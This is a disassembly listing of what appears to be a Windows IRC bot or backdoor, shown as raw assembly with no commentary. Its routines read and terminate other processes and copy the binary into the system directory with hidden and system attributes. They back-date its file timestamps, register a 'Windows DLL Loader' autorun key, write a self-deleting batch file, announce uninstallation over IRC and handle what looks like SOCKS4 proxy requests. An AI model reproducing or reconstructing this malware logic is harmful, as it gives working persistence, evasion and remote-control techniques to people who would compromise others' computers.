		mov	[ebp+arg_8], eax
		call	sub_41088C	; atoi
		mov	esi, eax
		mov	eax, 180h
		add	esp, 0Ch
		cmp	esi, eax
		jbe	short loc_404287
		mov	esi, eax


loc_404287:				; CODE XREF: sub_404240+43j
		lea	eax, [esi+1]
		push	eax
		call	sub_41082C	; malloc
		pop	ecx
		mov	edi, eax
		push	ebx
		xor	ebx, ebx
		push	ebx
		push	10h
		call	ds:dword_41109C	; OpenProcess
		cmp	eax, ebx
		mov	[ebp+arg_C], eax
		jnz	short loc_4042AF
		push	edi
		call	sub_410832	; free
		pop	ecx
		jmp	short loc_404312
; ---------------------------------------------------------------------------


loc_4042AF:				; CODE XREF: sub_404240+64j
		lea	ecx, [ebp+arg_4]
		mov	[ebp+arg_4], ebx
		push	ecx
		push	esi
		push	edi
		push	[ebp+arg_8]
		push	eax
		call	ds:dword_4110A0	; ReadProcessMemory
		test	eax, eax
		jz	short loc_404302
		cmp	[ebp+arg_4], ebx
		jz	short loc_404302
		and	byte ptr [edi+esi], 0
		xor	ecx, ecx
		cmp	[ebp+arg_4], ebx
		jbe	short loc_4042F7


loc_4042D6:				; CODE XREF: sub_404240+B5j
		mov	al, [ecx+edi]
		cmp	al, 0Ah
		jz	short loc_4042ED
		cmp	al, 0Dh
		jz	short loc_4042ED
		cmp	al, 1Fh
		jz	short loc_4042ED
		cmp	al, 16h
		jz	short loc_4042ED
		cmp	al, 10h
		jg	short loc_4042F1


loc_4042ED:				; CODE XREF: sub_404240+9Bj
					; sub_404240+9Fj ...
		mov	byte ptr [ecx+edi], 2Eh


loc_4042F1:				; CODE XREF: sub_404240+ABj
		inc	ecx
		cmp	ecx, [ebp+arg_4]
		jb	short loc_4042D6


loc_4042F7:				; CODE XREF: sub_404240+94j
		push	edi
		push	[ebp+arg_0]
		call	sub_408D50
		pop	ecx
		pop	ecx


loc_404302:				; CODE XREF: sub_404240+84j
					; sub_404240+89j
		push	edi
		call	sub_410832	; free
		pop	ecx
		push	[ebp+arg_C]
		call	ds:dword_4110AC	; CloseHandle


loc_404312:				; CODE XREF: sub_404240+Aj
					; sub_404240+14j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_404240	endp


; =============== S U B	R O U T	I N E =======================================



sub_404317	proc near		; CODE XREF: sub_40735A+2A1p

arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 0
		push	esi
		jz	short loc_404352
		push	[esp+4+arg_4]
		call	sub_41088C	; atoi
		pop	ecx
		mov	esi, eax
		call	ds:dword_4110F0	; GetCurrentProcessId
		cmp	esi, eax
		jz	short loc_404352
		push	esi
		push	0
		push	1
		call	ds:dword_41109C	; OpenProcess
		mov	esi, eax
		push	0
		push	esi
		call	ds:dword_4110A8	; TerminateProcess
		push	esi
		call	ds:dword_4110AC	; CloseHandle


loc_404352:				; CODE XREF: sub_404317+6j
					; sub_404317+1Cj
		pop	esi
		retn
sub_404317	endp


; =============== S U B	R O U T	I N E =======================================



sub_404354	proc near		; CODE XREF: sub_402EFD+10Bp
					; sub_40735A+9Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi


loc_40435C:				; CODE XREF: sub_404354+1Aj
		push	7Ah
		push	61h
		call	sub_40AADE
		mov	[esi+edi], al
		inc	esi
		pop	ecx
		cmp	esi, 8
		pop	ecx
		jl	short loc_40435C
		and	byte ptr [edi+8], 0
		mov	edi, [esp+8+arg_4]
		xor	esi, esi


loc_40437A:				; CODE XREF: sub_404354+38j
		push	7Ah
		push	61h
		call	sub_40AADE
		mov	[esi+edi], al
		inc	esi
		pop	ecx
		cmp	esi, 6
		pop	ecx
		jl	short loc_40437A
		and	byte ptr [edi+6], 0
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_404398:				; CODE XREF: sub_404354+56j
		push	7Ah
		push	61h
		call	sub_40AADE
		mov	[esi+edi], al
		inc	esi
		pop	ecx
		cmp	esi, 10h
		pop	ecx
		jl	short loc_404398
		and	byte ptr [edi+10h], 0
		pop	edi
		pop	esi
		retn
sub_404354	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4043B3	proc near		; CODE XREF: sub_40735A+703p

var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_4045DF
		cmp	byte ptr [edi+4], 5Ch
		jnz	loc_4045DF
		push	4
		pop	esi
		push	esi
		push	offset aHkcr	; "HKCR"
		push	edi
		call	sub_410CA0	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4043F3
		mov	[ebp+arg_4], 80000000h
		jmp	short loc_404449
; ---------------------------------------------------------------------------


loc_4043F3:				; CODE XREF: sub_4043B3+35j
		push	esi
		push	offset aHkcu	; "HKCU"
		push	edi
		call	sub_410CA0	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40440F
		mov	[ebp+arg_4], 80000001h
		jmp	short loc_404449
; ---------------------------------------------------------------------------


loc_40440F:				; CODE XREF: sub_4043B3+51j
		push	esi
		push	offset aHklm	; "HKLM"
		push	edi
		call	sub_410CA0	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40442B
		mov	[ebp+arg_4], 80000002h
		jmp	short loc_404449
; ---------------------------------------------------------------------------


loc_40442B:				; CODE XREF: sub_4043B3+6Dj
		push	esi
		push	offset aHkus	; "HKUS"
		push	edi
		call	sub_410CA0	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_4045DF
		mov	[ebp+arg_4], 80000003h


loc_404449:				; CODE XREF: sub_4043B3+3Ej
					; sub_4043B3+5Aj ...
		add	edi, 5
		push	edi
		call	sub_410826	; strlen
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	loc_4045DF


loc_40445D:				; CODE XREF: sub_4043B3+B1j
		cmp	byte ptr [esi+edi], 5Ch
		jz	short loc_40446B
		dec	esi
		jnz	short loc_40445D
		jmp	loc_4045DF
; ---------------------------------------------------------------------------


loc_40446B:				; CODE XREF: sub_4043B3+AEj
		lea	eax, [esi+edi+1]
		push	eax
		call	sub_410826	; strlen
		mov	ebx, 200h
		pop	ecx
		cmp	eax, ebx
		jnb	loc_4045DF
		lea	eax, [esi+edi+1]
		push	eax
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_410820	; _mbscpy
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jnb	loc_4045DF
		push	esi
		lea	eax, [ebp+var_214]
		push	edi
		push	eax
		call	sub_410838	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		and	[ebp+esi+var_214], 0
		push	eax
		push	1
		lea	eax, [ebp+var_214]
		push	0
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_411000	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_4045DF
		mov	eax, 1000h
		push	eax
		mov	[ebp+var_C], eax
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		lea	eax, [ebp+var_C]
		mov	[ebp+var_10], esi
		push	eax
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_414]
		push	0
		push	eax
		push	[ebp+var_14]
		call	ds:dword_41100C	; RegQueryValueExA
		test	eax, eax
		jnz	loc_4045CF
		cmp	[ebp+var_8], 1
		mov	ebx, offset dword_412B30
		jz	short loc_40451F
		cmp	[ebp+var_8], 2
		jnz	short loc_40452C


loc_40451F:				; CODE XREF: sub_4043B3+164j
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	sub_408D50
		add	esp, 0Ch


loc_40452C:				; CODE XREF: sub_4043B3+16Aj
		cmp	[ebp+var_8], 4
		jnz	short loc_404544
		push	dword ptr [esi]
		push	offset dword_412B28
		push	[ebp+arg_0]
		call	sub_408D50
		add	esp, 0Ch


loc_404544:				; CODE XREF: sub_4043B3+17Dj
		cmp	[ebp+var_8], 3
		jnz	loc_4045CF
		mov	edi, 180h
		push	edi
		call	sub_41082C	; malloc
		and	[ebp+var_4], 0
		mov	esi, eax
		pop	ecx
		and	byte ptr [esi],	0
		cmp	[ebp+var_C], 0
		jbe	short loc_4045B9


loc_404569:				; CODE XREF: sub_4043B3+204j
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		movzx	eax, byte ptr [ecx+eax]
		push	eax
		lea	eax, [ebp+arg_4]
		push	offset dword_412B20
		push	eax
		call	sub_410844	; sprintf
		push	esi
		call	sub_410826	; strlen
		add	eax, 3
		add	esp, 10h
		cmp	eax, edi
		jb	short loc_4045A2
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	sub_408D50
		add	esp, 0Ch
		and	byte ptr [esi],	0


loc_4045A2:				; CODE XREF: sub_4043B3+1DDj
		lea	eax, [ebp+arg_4]
		push	eax
		push	esi
		call	sub_410856	; _mbscat
		inc	[ebp+var_4]
		pop	ecx
		mov	eax, [ebp+var_4]
		pop	ecx
		cmp	eax, [ebp+var_C]
		jb	short loc_404569


loc_4045B9:				; CODE XREF: sub_4043B3+1B4j
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	sub_408D50
		push	esi
		call	sub_410832	; free
		mov	esi, [ebp+var_10]
		add	esp, 10h


loc_4045CF:				; CODE XREF: sub_4043B3+155j
					; sub_4043B3+195j
		push	esi
		call	sub_410832	; free
		pop	ecx
		push	[ebp+var_14]
		call	ds:dword_411028	; RegCloseKey


loc_4045DF:				; CODE XREF: sub_4043B3+11j
					; sub_4043B3+1Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4043B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045E4	proc near		; CODE XREF: sub_4088FC:loc_408A4Dp
					; sub_408F9D:loc_409243p

var_208		= byte ptr -208h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		call	ds:dword_411054	; GetSystemDirectoryA
		lea	eax, [ebp+var_104]
		push	offset dword_412DB0
		push	eax
		call	sub_410856	; _mbscat
		lea	eax, [ebp+var_208]
		push	offset dword_417978
		push	eax
		call	sub_410820	; _mbscpy
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40AC4E
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_410856	; _mbscat
		add	esp, 1Ch
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_4110B8	; DeleteFileA
		lea	eax, [ebp+var_104]
		push	offset dword_4122AC
		push	eax
		call	sub_41086E	; fopen
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40468E
		push	esi
		push	1
		push	2
		push	offset dword_412DAC
		call	sub_410862	; fwrite
		push	esi
		call	sub_410868	; fclose
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_404715
		add	esp, 18h


loc_40468E:				; CODE XREF: sub_4045E4+84j
		pop	esi
		leave
		retn
sub_4045E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404691	proc near		; CODE XREF: sub_4088FC+117p
					; sub_408F9D+26Cp

var_208		= byte ptr -208h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		call	ds:dword_411054	; GetSystemDirectoryA
		lea	eax, [ebp+var_104]
		push	offset dword_412DB0
		push	eax
		call	sub_410856	; _mbscat
		lea	eax, [ebp+var_208]
		push	offset dword_417978
		push	eax
		call	sub_410820	; _mbscpy
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40AC4E
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_410856	; _mbscat
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_41086E	; fopen
		add	esp, 24h
		test	eax, eax
		jz	short loc_404711
		push	eax
		call	sub_410868	; fclose
		pop	ecx
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_404711:				; CODE XREF: sub_404691+72j
		xor	eax, eax
		leave
		retn
sub_404691	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404715	proc near		; CODE XREF: sub_4045E4+A2p
					; sub_4049B5+1B5p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	104h
		push	eax
		call	ds:dword_411044	; GetWindowsDirectoryA
		lea	eax, [ebp+var_11C]
		push	offset dword_412DB4
		push	eax
		call	sub_410856	; _mbscat
		pop	ecx
		mov	esi, ds:dword_411048
		pop	ecx
		mov	edi, 80h
		push	0
		push	edi
		push	3
		push	0
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4047BB
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	ds:dword_41104C	; GetFileTime
		push	ebx
		mov	ebx, ds:dword_4110AC
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4047BB
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_411050	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_4047BB:				; CODE XREF: sub_404715+58j
					; sub_404715+8Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404715	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4047C0	proc near		; CODE XREF: sub_4049B5+139p
					; sub_4049B5+16Fp ...

var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	esi
		xor	esi, esi
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	ds:dword_411014	; RegCreateKeyExA
		cmp	[ebp+arg_0], esi
		jz	short loc_40484B
		lea	eax, [ebp+var_108]
		push	104h
		push	eax
		call	ds:dword_411054	; GetSystemDirectoryA
		lea	eax, [ebp+var_108]
		push	offset dword_412DB0
		push	eax
		call	sub_410856	; _mbscat
		push	[ebp+arg_8]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_410856	; _mbscat
		add	esp, 10h
		lea	eax, [ebp+var_108]
		push	eax
		call	ds:dword_411040	; lstrlen
		inc	eax
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		push	1
		push	esi
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	ds:dword_411010	; RegSetValueExA
		jmp	short loc_404857
; ---------------------------------------------------------------------------


loc_40484B:				; CODE XREF: sub_4047C0+2Dj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	ds:dword_411004	; RegDeleteValueA


loc_404857:				; CODE XREF: sub_4047C0+89j
		push	[ebp+var_4]
		call	ds:dword_411028	; RegCloseKey
		pop	esi
		leave
		retn
sub_4047C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_404863	proc near		; CODE XREF: sub_40488C+2Bp
					; sub_4049B5+1C1p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		mov	edi, esi
		call	sub_410826	; strlen
		pop	ecx
		xor	ecx, ecx
		test	eax, eax
		jbe	short loc_404887


loc_404878:				; CODE XREF: sub_404863+22j
		cmp	byte ptr [ecx+esi], 5Ch
		jnz	short loc_404882
		lea	edi, [ecx+esi+1]


loc_404882:				; CODE XREF: sub_404863+19j
		inc	ecx
		cmp	ecx, eax
		jb	short loc_404878


loc_404887:				; CODE XREF: sub_404863+13j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_404863	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40488C	proc near		; CODE XREF: sub_4049B5+Cp
					; sub_404BC3+Cp

var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	ds:dword_411094	; GetModuleHandleA
		push	eax
		call	ds:dword_411098	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_404863
		and	byte ptr [eax],	0
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_41103C	; SetCurrentDirectoryA
		leave
		retn
sub_40488C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4048CF	proc near		; CODE XREF: sub_4049B5+1C7p
					; sub_404BC3+C2p ...

var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	8
		push	4
		call	sub_40AADE
		push	7Ah
		push	61h
		mov	edi, eax
		call	sub_40AADE
		add	esp, 10h
		mov	[ebp+var_14], al
		push	1
		pop	esi
		cmp	edi, esi
		jz	short loc_40490D


loc_4048F9:				; CODE XREF: sub_4048CF+3Cj
		push	7Ah
		push	61h
		call	sub_40AADE
		mov	[ebp+esi+var_14], al
		inc	esi
		pop	ecx
		cmp	esi, edi
		pop	ecx
		jnz	short loc_4048F9


loc_40490D:				; CODE XREF: sub_4048CF+28j
		lea	eax, [ebp+esi+var_14]
		push	offset a_bat	; ".bat"
		push	eax
		call	sub_410820	; _mbscpy
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410826	; strlen
		push	400h
		call	sub_41082C	; malloc
		add	esp, 10h
		mov	ebx, eax
		lea	eax, [ebp+var_14]
		push	eax
		call	ds:dword_4110B8	; DeleteFileA
		xor	esi, esi
		lea	eax, [ebp+var_14]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_411048	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_404961
		xor	eax, eax
		jmp	short loc_4049B0
; ---------------------------------------------------------------------------


loc_404961:				; CODE XREF: sub_4048CF+8Cj
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		push	edi
		push	edi
		push	offset a@echoOffDelete ; "@echo	off\r\n:deleteagain\r\ndel /A:H	/F %s"...
		push	ebx
		call	ds:dword_4111EC	; wsprintfA
		add	esp, 18h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], esi
		push	esi
		push	eax
		push	ebx
		call	sub_410826	; strlen
		pop	ecx
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	ds:dword_411070	; WriteFile
		push	[ebp+arg_0]
		call	ds:dword_4110AC	; CloseHandle
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	ds:dword_4111E4
		push	1
		pop	eax


loc_4049B0:				; CODE XREF: sub_4048CF+90j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4048CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4049B5	proc near		; CODE XREF: seg000:loc_4106E4p

var_36C		= byte ptr -36Ch
var_268		= byte ptr -268h
var_164		= byte ptr -164h
var_60		= dword	ptr -60h
var_30		= word ptr -30h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 36Ch
		push	ebx
		push	esi
		push	edi
		call	sub_40488C
		mov	esi, 104h
		lea	eax, [ebp+var_36C]
		push	esi
		xor	ebx, ebx
		push	eax
		push	ebx
		call	ds:dword_411094	; GetModuleHandleA
		push	eax
		call	ds:dword_411098	; GetModuleFileNameA
		cmp	off_412B54, ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		jz	short loc_404A65
		mov	edi, offset off_412B54
		mov	[ebp+var_C], edi


loc_4049F9:				; CODE XREF: sub_4049B5+AEj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_268]
		push	esi
		push	eax
		call	ds:dword_411054	; GetSystemDirectoryA
		lea	eax, [ebp+var_268]
		push	offset dword_412DB0
		push	eax
		call	sub_410856	; _mbscat
		push	dword ptr [edi]
		call	sub_40AC4E
		push	dword ptr [edi]
		lea	eax, [ebp+var_268]
		push	eax
		call	sub_410856	; _mbscat
		push	dword ptr [edi]
		call	sub_40AC15
		lea	eax, [ebp+var_36C]
		push	eax
		lea	eax, [ebp+var_268]
		push	eax
		call	sub_410C94	; _strcmpi
		add	esp, 20h
		test	eax, eax
		jz	loc_404AF8
		mov	edi, [ebp+var_C]
		inc	[ebp+var_8]
		add	edi, 8
		mov	[ebp+var_C], edi
		cmp	[edi], ebx
		jnz	short loc_4049F9


loc_404A65:				; CODE XREF: sub_4049B5+3Aj
		push	[ebp+var_4]
		push	ebx
		call	sub_40AADE
		pop	ecx
		mov	edi, eax
		pop	ecx
		lea	eax, [ebp+var_164]
		push	esi
		push	eax
		call	ds:dword_411054	; GetSystemDirectoryA
		lea	eax, [ebp+var_164]
		push	offset dword_412DB0
		push	eax
		call	sub_410856	; _mbscat
		push	off_412B54[edi*8]
		lea	esi, ds:412B54h[edi*8]
		call	sub_40AC4E
		push	dword ptr [esi]
		lea	eax, [ebp+var_164]
		push	eax
		call	sub_410856	; _mbscat
		push	dword ptr [esi]
		call	sub_40AC15
		add	esp, 18h
		lea	eax, [ebp+var_164]
		push	eax
		call	ds:dword_4110B8	; DeleteFileA
		lea	eax, [ebp+var_164]
		push	ebx
		push	eax
		lea	eax, [ebp+var_36C]
		push	eax
		call	ds:dword_411068	; CopyFileA
		test	eax, eax
		jnz	short loc_404B47
		push	offset dword_41885C
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	1
		call	sub_4047C0
		add	esp, 0Ch
		jmp	short loc_404B42
; ---------------------------------------------------------------------------


loc_404AF8:				; CODE XREF: sub_4049B5+9Aj
		mov	eax, [ebp+var_8]
		mov	esi, eax
		shl	esi, 3
		push	off_412B54[esi]
		call	sub_40AC4E
		push	off_412B58[esi]
		call	sub_40AC4E
		push	off_412B54[esi]
		push	off_412B58[esi]
		push	1
		call	sub_4047C0
		push	off_412B54[esi]
		call	sub_40AC15
		push	off_412B58[esi]
		call	sub_40AC15
		add	esp, 1Ch


loc_404B42:				; CODE XREF: sub_4049B5+141j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_404B47:				; CODE XREF: sub_4049B5+12Bj
		mov	esi, ds:dword_4110B0
		lea	eax, [ebp+var_164]
		push	4
		push	eax
		call	esi	; SetFileAttributesA
		lea	eax, [ebp+var_164]
		push	2
		push	eax
		call	esi	; SetFileAttributesA
		lea	eax, [ebp+var_164]
		push	eax
		call	sub_404715
		lea	eax, [ebp+var_36C]
		push	eax
		call	sub_404863
		push	eax
		call	sub_4048CF
		push	44h
		lea	eax, [ebp+var_60]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_410850	; memset
		add	esp, 18h
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_60], esi
		mov	[ebp+var_30], bx
		push	eax
		lea	eax, [ebp+var_60]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	1
		push	ebx
		lea	eax, [ebp+var_164]
		push	ebx
		push	eax
		push	ebx
		call	ds:dword_411084	; CreateProcessA
		call	ds:dword_411260	; WSACleanup
		push	ebx
		call	sub_4108EC	; exit
sub_4049B5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404BC3	proc near		; CODE XREF: sub_402230+51Dp
					; sub_40735A+A00p ...

var_20C		= byte ptr -20Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		call	sub_40488C
		mov	ebx, 104h
		lea	eax, [ebp+var_20C]
		push	ebx
		xor	edi, edi
		push	eax
		push	edi
		call	ds:dword_411094	; GetModuleHandleA
		push	eax
		call	ds:dword_411098	; GetModuleFileNameA
		cmp	off_412B54, edi
		mov	[ebp+var_4], edi
		jz	short loc_404C67
		mov	esi, offset off_412B54
		mov	edi, esi


loc_404C03:				; CODE XREF: sub_404BC3+A0j
		lea	eax, [ebp+var_108]
		push	ebx
		push	eax
		call	ds:dword_411054	; GetSystemDirectoryA
		lea	eax, [ebp+var_108]
		push	offset dword_412DB0
		push	eax
		call	sub_410856	; _mbscat
		push	dword ptr [esi]
		call	sub_40AC4E
		push	dword ptr [esi]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_410856	; _mbscat
		push	dword ptr [esi]
		call	sub_40AC15
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_410C94	; _strcmpi
		add	esp, 20h
		test	eax, eax
		jz	short loc_404CAF
		inc	[ebp+var_4]
		add	edi, 8
		mov	esi, edi
		cmp	dword ptr [edi], 0
		jnz	short loc_404C03
		xor	edi, edi


loc_404C67:				; CODE XREF: sub_404BC3+37j
		mov	esi, offset dword_41885C
		push	esi
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	edi
		call	sub_4047C0
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_404863
		push	eax
		call	sub_4048CF
		add	esp, 14h
		test	eax, eax
		jz	loc_404D2E
		push	esi
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_408E60
		pop	ecx
		pop	ecx
		call	ds:dword_411260	; WSACleanup
		push	edi
		call	ds:dword_411064	; ExitProcess


loc_404CAF:				; CODE XREF: sub_404BC3+93j
		mov	eax, [ebp+var_4]
		mov	esi, eax
		shl	esi, 3
		push	off_412B54[esi]
		call	sub_40AC4E
		push	off_412B58[esi]
		call	sub_40AC4E
		push	off_412B54[esi]
		push	off_412B58[esi]
		push	0
		call	sub_4047C0
		push	off_412B54[esi]
		call	sub_40AC15
		push	off_412B58[esi]
		call	sub_40AC15
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_404863
		push	eax
		call	sub_4048CF
		add	esp, 24h
		test	eax, eax
		jz	short loc_404D2E
		push	offset dword_41885C
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_408E60
		pop	ecx
		pop	ecx
		call	ds:dword_411260	; WSACleanup
		push	0
		call	ds:dword_411064	; ExitProcess


loc_404D2E:				; CODE XREF: sub_404BC3+CCj
					; sub_404BC3+14Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404BC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D33	proc near		; DATA XREF: sub_404F90+F4o

var_16D4	= byte ptr -16D4h
var_6D4		= byte ptr -6D4h
var_5D4		= dword	ptr -5D4h
var_5CA		= byte ptr -5CAh
var_5BA		= byte ptr -5BAh
var_427		= byte ptr -427h
var_414		= byte ptr -414h
var_413		= byte ptr -413h
var_412		= dword	ptr -412h
var_40C		= byte ptr -40Ch
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 16D4h
		call	sub_4108B0
		push	ebx
		push	esi
		push	edi
		push	1BDh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5D4]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		mov	eax, [ebp+var_5D4]
		mov	edi, ds:dword_411258
		add	esp, 10h
		xor	ebx, ebx
		lea	ecx, [ebp+var_414]
		mov	[ebp+arg_0], eax
		push	ebx
		push	408h
		push	ecx
		push	eax
		call	edi	; recv
		cmp	eax, ebx
		jz	loc_404F87
		cmp	eax, 0FFFFFFFFh
		jz	loc_404F87
		cmp	[ebp+var_414], 4
		jnz	short loc_404DAB
		cmp	[ebp+var_413], 1
		jnz	short loc_404DAB
		push	1
		pop	esi
		jmp	short loc_404DAD
; ---------------------------------------------------------------------------


loc_404DAB:				; CODE XREF: sub_404D33+68j
					; sub_404D33+71j
		xor	esi, esi


loc_404DAD:				; CODE XREF: sub_404D33+76j
		cmp	[ebp+var_5CA], bl
		jz	short loc_404DD3
		lea	eax, [ebp+var_5CA]
		push	10h
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		call	sub_4108E0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_404DD3
		xor	esi, esi


loc_404DD3:				; CODE XREF: sub_404D33+80j
					; sub_404D33+9Cj
		cmp	[ebp+var_427], bl
		jz	short loc_404E1E
		lea	eax, [ebp+var_6D4]
		push	eax
		push	[ebp+arg_0]
		call	sub_403495
		pop	ecx
		cmp	esi, ebx
